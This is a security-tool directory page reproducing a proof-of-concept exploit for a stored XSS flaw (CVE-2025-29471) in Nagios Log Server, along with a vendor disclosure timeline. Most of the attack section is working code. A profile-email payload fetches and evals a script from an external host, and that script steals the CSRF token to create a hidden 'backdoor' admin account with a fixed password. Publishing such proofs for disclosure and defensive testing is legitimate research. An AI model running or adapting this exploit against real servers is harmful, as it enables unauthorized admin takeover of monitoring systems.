Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29471 — Stored XSS in Nagios Log Server 2024R1.3.1 | Kitploit
도구/GitHubGitHub/skraft9/cve-2025-29471
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubskraft9/cve-2025-29471

CVE-2025-29471

Stored XSS in Nagios Log Server 2024R1.3.1

저장소 보기
11426일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

Stored XSS Vulnerability in Nagios Log Server (Privilege Escalation to Admin)

▶️ PoC Demo

Date: 2025-04-02

Exploit Author: Seth Kraft

Vendor Homepage: https://www.nagios.com/

Vendor Changelog: https://www.nagios.com/changelog/#log-server

Software Link: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Affected Versions: 2024R1.3.1 and below

Tested On: Nagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)

CWE-ID: CWE-79

Base Score: 8.3 (High)

Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Type: Stored Cross-Site Scripting (XSS), Privilege Escalation


Authorization

For authorized testing and research purposes only. Do not test or exploit this vulnerability on systems you do not own or have explicit permission to test.


Description:

A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject malicious JavaScript into the 'email' field of their profile.

When an administrator views the audit logs, the payload executes, resulting in privilege escalation via unauthorized admin account creation.


Proof of Concept

1.Host xss.js payload on your external server with the following content. Github works fine.

Update <target-ip> to the IP/Hostname of Nagios Log Server target.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();
  1. Log into Nagios Log Server as a standard (non-admin) user.

  2. Navigate to the profile update endpoint:

    http://<target-ip>/nagioslogserver/profile/update

  3. Inject the following payload into the email field. Update fetch line with the URL where xss.js is stored.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>
  1. Wait for an administrator to view the audit logs. The JavaScript will execute, creating a new admin account:

Username: backdoor

Password: Password123!

  1. Login as backdoor with full admin access in Nagios Log Server.

Disclosure Timeline

  • 2025-02-07: Researcher reported the vulnerability to Nagios
  • 2025-02-14: Nagios acknowledged receipt of the security report
  • 2025-03-03: Researcher requested update from Nagios
  • 2025-03-10: Researcher requested update from Nagios
  • 2025-03-17: Nagios confirms the vulnerability is addressed and a fix is planned to be released soon
  • 2025-03-19: Nagios releases Nagios Log Server 2024R2
  • 2025-03-27: Researcher tested and verified Nagios Log Server 2024R2 resolves the stored XSS vulnerability and updated Nagios
  • 2025-04-01: MITRE reserves CVE-2025-29471 for this stored XSS vulnerability, but details remained unpublished due to the absence of a public security advisory from the vendor
  • 2025-04-03: Researcher publishes PoC to ExploitDB in order to satisfy evidence requirements for CVE ID assignment from MITRE.
  • 2025-04-09: Nagios releases a follow-up to the 2024R2 fix (2024R1.3.2) backporting the stored XSS vulnerability fix to the 2024R1 branch
  • 2025-04-15: CVE-2025-29471 was formally published

Disclaimer

This work was conducted outside of my employment and reflects my personal efforts in cybersecurity research.


도구 다운로드